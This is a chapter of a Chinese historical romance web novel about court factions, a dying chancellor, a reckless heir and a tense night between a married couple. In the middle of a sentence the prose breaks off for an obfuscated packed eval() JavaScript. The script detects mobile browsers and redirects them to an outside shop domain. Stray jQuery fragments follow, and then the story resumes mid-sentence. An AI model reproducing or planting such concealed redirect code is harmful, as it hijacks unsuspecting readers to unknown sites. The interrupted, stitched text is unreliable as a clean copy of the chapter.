39.惹风月(四)
    那温存也曾在此生漫长的年岁里短暂驻留过,熏夏很快过去,转眼又逢着多事之秋。

    今年秋季,胡虏仗着厉兵秣马,趁着秋高马肥之际,再度来犯西北边境。

    北狄与国朝接壤,却并未阻拦那些进犯西北的游牧部落,去年恳请与虞朝和亲的是他们,今年屡屡进犯国朝边境的也是他们。

    兴许是因为虞朝送了他们一个假公主,两国和亲早就成了虚名。又或许是因为,胡虏以为早年征伐西北的征西将军齐侯已卸任,中原境土上再无威慑他们的势力。

    总之,有人给北狄人泄露了虞朝内乱,天子式微的消息,才让他们在此鹬蚌相争之际更加猖狂。

    温家人,不只是那温二公子,还有温太傅与温家长公子也都因这内忧外患的局势忙得焦头烂额。

    齐晋在此风寒的时节箭伤复发,状况不容乐观,温尚瑾今日刚随父亲去齐府看望过他。据诊病的医官所言,齐丞相毒入骨髓,怕是捱不过这个冬日了。

    接连数日的诊治,血也放了,各种有毒没毒的解药都试过了,给人折腾得半死不活,到头来仍旧是这么个结果。

    齐恂险些就没忍住,拔剑架在医官脖子上怒斥:“一群庸碌之辈,谁说我父亲治不好了?”

    齐慎道:“长兄莫要冲动!”

    他上前去拦,却被齐恂一脚踹翻在地,更遭唾骂:“你个懦夫,给我滚远点!”

    眼见寒光闪过,剑锋落处,就要斩下了医官头颅。千钧一发之际,温尚瑾拔了架上长剑挑开那道冷刃。

    裂帛之声传来,剑锋顺着衣角落下,锦袍上割裂一道口子。

    医官双目紧闭,噤若寒蝉。

    想象中的痛感并未传来,他的喉咙也未曾被割开,只是眼前依旧是淋漓一片鲜血。

    温热的血液自温二公子的手臂流淌而下,浸透了素白的中衣,红得刺目。

    冷刃擦过剑鞘的声音还宛若耳边,医官吓得忙俯首跪地求饶。

    一时间所有人都怔住了,齐丞相此刻还躺在病榻上,无人能镇得住这无法无天的杀神。

    唯有见了血,才能让他安静片刻。

    温尚瑾盯着手臂上的伤,无甚痛觉,只无奈甩了甩手,又看向齐恂。劝阻他时,口吻近乎漠然:“冷静些吧。”

    齐恂手中长剑“哐当”落了地,这便是他冷静的态度了。

    医官拱手示意道:“还请二公子落座,让小人替您包扎伤口。”

    温尚瑾道一声“有劳”,就着药箱旁的桌案而坐,由医官翻拣伤药,替他撒了金疮药,又剪布条,一圈圈将伤口缠好。

    只是伤口看着触目惊心,他并未察觉什么痛意。

    待包扎完止了血,温尚瑾一刻也不停逗,连拖带拽把齐恂弄了出去。

    温尚瑾道:“叔父病危之际,请辞的门客越来越多,你非但不加以挽留,反而只知杀伐,长此以往,还有谁敢拜到你齐府门下?”

    齐恂垂首靠在廊柱旁,一拳锤在了柱子上,道:“若换做是你,此时此刻还能冷静吗?我早该知晓,周樵这厮当初就不可能给真的解药。”

    其实温尚瑾也不知该如何安慰他,病榻上的长辈已是无力回天,齐氏的家业要么落到齐恂的叔父身上,要么落到齐恂身上。前者仁善,优柔寡断,无统率各世家的能力;至于后者,虽有御下之能,却无德政之仁。

    他只能叹了一口气,说道:“总会有办法的。”

    后院的婢子、杂役皆散去,四下无人之时,温尚瑾才逮着齐恂问出心中疑虑:“若真到了最坏的境地,你又将如何打算?你私自从垚州调兵回来这事,叔父知晓吗?”

    齐恂冷哼一声,道:“难不成我还要等父亲醒来再请示?想来南境的兵马也已经在来的路上了,如今人为刀俎我为鱼肉,我不动手周樵也未必会放过齐家,我还要为了那么点贤名引颈就戮不成?”

    温尚瑾问:“若你执意在此时与周太尉起冲突,那西北二州怎么办?”

    齐恂道:“待我先清算了周家,届时自会将那沦失的境土一一收回来。”

    青年立于檐下,广袖猎猎当风,凌厉眉眼难掩年轻的恣意和轻狂。

    温尚瑾曾有一瞬的恍惚,这样的神色,他也曾在另一人的脸上见过。

    那人也不是旁人,正是他的结发妻、枕边人。

    永州符氏教养出来的女公子,幼时随符令先学策论的小将军,他们一个个,竟都是如此。

    等夷之志,狼子野心。

    齐府外的梧桐叶落了,满地萧索。

    温尚瑾怀着满腹心事而来,又揣了满腹心事归家。

    住在弥尘院的一对壁人,一个从齐府回来,一个自西苑归家,彼此心情都不怎么好。

    其实在今晨的时候,听闻齐晋毒入骨髓药石无医的消息,姜衍君心情还算不错。

    月末,永州牧也送来了消息,是自酆州传来的捷报,永州的兵马已悄无声息入主酆州。

    中原五州中有四州仍在齐氏与温氏的掌控之中,周太尉要从南部调兵回京,也必然导致了酆州防备空虚。

    在中原两大势力相争之际,攻取南境也算易如反掌。

    然而,与这佳音一并传来的,还有衍君祖母病倒的消息。

    姜衍君这才想起,近几日忙着与温家周旋,暗渡陈仓,已经许久不去西苑看望祖母了。

    符母年老体弱,加之前两年儿孙相继离世,多受搓磨,寝食难安。这些时日以来,身体更是每况愈下。

    入夜时,夫妻又处同一屋檐下。

    不比前几日缱绻,今日一个比一个话少。

    温尚瑾没注意到她眼角残存的泪,姜衍君也没顾及到他手腕落下的伤。

    夜里不过隔着床帏对望,闲扯几句,他便吹熄了灯烛,解衣欲睡。

    两人背对着躺卧在同一张榻上,玉簟秋凉,相枕无眠。

    秋风清,秋月明。

    风乍起,月光透过枝柯间隙,在纱窗上留下一段碎影,随风摇曳。

    枕畔无声,唯闻屋外秋风摇落枝叶的窸窣,声如寒玉相敲,清冷寂寥……

    终究在她接连几次辗转反侧之后,温尚瑾率先按耐不住,开了口:“怎么了?睡不着吗?”

    “嗯。”她平躺着,低低回应了一声,便没有了下文。

    温尚瑾道:“有什么心事与我说说吧,我也睡不着。”

    姜衍君道:“因着齐叔父的事吗?”

    温尚瑾道:“是。那么你呢?”

    姜衍君道:“我今日去西苑看过大母,她年岁渐长了,身体也不如从前硬朗,自打入秋以来,又犯了老毛病,汤药一副接着一副,她却一日比一日憔悴……”

    说着,她坐起了身,温尚瑾也摸索着下床,将那吹熄不久的烛火重新点上。

    “我明日告了假,同你一起去西苑看看大母,若是缺了什么药材,便于我说,我遣人去帮你寻来。”他又抬手替衍君理了理凌乱的发丝,轻声安抚着,“齐恂今日刚想砍了两个医官,被我拦了下来,正好,也让那两个医官去给大母诊一诊病。”

    姜衍君道:“明日我想搬到西苑去,能时时看顾着,也好安心些。”

    温尚瑾道:“那我也同你一块搬去。”

    姜衍君道:“你放着自己家不住,同我搬过去,像什么话?”

    温尚瑾道:“夫人尽孝长辈病床前,我却置身事外不管不问,这才叫不像话。”

    她低垂着头没应声,温尚瑾看不清她此刻神情,却有来不及揩去的泪垂落在罗裙,洇湿成一个黯淡的点。

    “怎么哭了啊……”

    分明是个刀架脖子上也不落半滴眼泪的女郎,却屡屡因家人泣涕。

    温尚瑾素来不会安慰人,平日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192534|144020||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里哄温玖的人,分明说尽了温言软语,却只会让那小孩哭得更大声。

    此刻也是的。

    他只会扯过了袖子,笨拙地替她拭去眼角的泪,轻声絮语道:“不必担心,会没事的……”

    而眼前人不住地落泪,久久不发一语,更不会回应他的关切。

    泪水却似决堤一般,不住地往下落,也浸湿了他整片袖角。

    原来泪水浸透了单衣,浸在他腕上的伤口处时,也是会疼的。伤口的刺痛引得他倒吸了一口凉气,胸膛也因沉重的呼吸而剧烈起伏。

    那动静又像极了不耐烦的叹息。

    姜衍君红着一双眼,斥他道:“不许看我!”

    他说:“除非你要将我的一双眼剜了去。”

    不然怎会不看你。

    他控制不住自己意下所想,那目光总不忍从她身上移开。

    他想着,虽然婚仪仓促了些,好歹也是三媒六聘明媒正娶的妻,今宵可以光明正大地看她。

    温二公子自然不甘心仅仅透过垂柳的缝隙,透过符氏府邸迂回的连廊,只遥遥瞥一眼她的衣角。

    哪怕尽在咫尺了,也总觉得少了些什么,像雾里看花,看不真切。

    唯有这个夜晚看向她时,是不同的。

    或许是她苍白面孔,凌乱发丝,连带着满脸的泪痕,比从前的每一刻,都要真实。

    若是有符氏的二女公子也觉得犯难的事,那必然是天大的难事。

    犹豫了许久,温尚瑾才搂住衍君的肩,任她依靠在自己肩头,起起伏伏地啜泣。

    他能做的极少,唯有一遍又一遍地抚过她的背脊,将那些微不可察的颤抖和对前途的迷茫尽数抚去。

    直到最后,她流完了泪,像个没事人一样平静诉说着许多经年旧事。

    她说:“小时候,每逢着年底,大母她总爱说,每逢年关,大司命便会收走一些人。从前我总不信的,世事林林总总,总会有诸多巧合。”

    她又说:“可前几日大母同我说,她突然想回永州去,想再看一看故土。我能怎么安慰她呢,她病得这般突然,这样的状况分明经不起长途的劳顿。我今年回永州时,为何忘了给她带一抔故乡土?”

    “直到今天我去西苑,看到檐下横着一根阴干的楠木,那是一口凿了一半的棺材……我才想起来这事。”

    说到这里,泪水似乎又要决堤,姜衍君径直把头埋进他的肩窝。

    温尚瑾道:“不怨你,怪我也忘了。衍君要想得开些,指不定只是那医师无能,明日换一个医官来诊。”

    “嗯。”她轻轻点头。

    青年衣襟微敞,青丝散落,肩颈处有一道被她长久倚靠留下的红痕,倾落在她发顶的气息也是湿热的。

    可手也被她压着,腕上的伤口似乎裂开了,是真真切切的疼。

    温尚瑾没忍心在此时提起这些令她分心的事。

    衍君蜷在他怀里,揽住他的腰,语气近乎恳求:“再抱紧一些。”

    温热的手掌攀上她的后背,稍稍施加了点力道。

    她说:“不够。”

    温尚瑾微微仰着头,呼吸也迟滞了一瞬。他道:“那要怎样才够?”

    姜衍君不语。

    要亲近到,觉得怀中人的心脏仿若在自己的胸膛里跳动,那样的相拥才足够。

    她沉溺在一缕缥缈的白檀香中,浑然生了些许困意。

    那人却将她推远了些。

    温尚瑾道:“今夜不能再这般了。”

    他又想起了今日所见齐恂神色,还想着衍君于无助时向旁人乞怜,比起齐恂挥剑向弱者,二人总归是不同的。

    可贪婪与欲望是会滋长的,若不加以遏止的话。

    姜衍君固执道:“怎么就不能?”

    他轻叹道:“衍君是故意如此,还是从没把我当作是个男人?”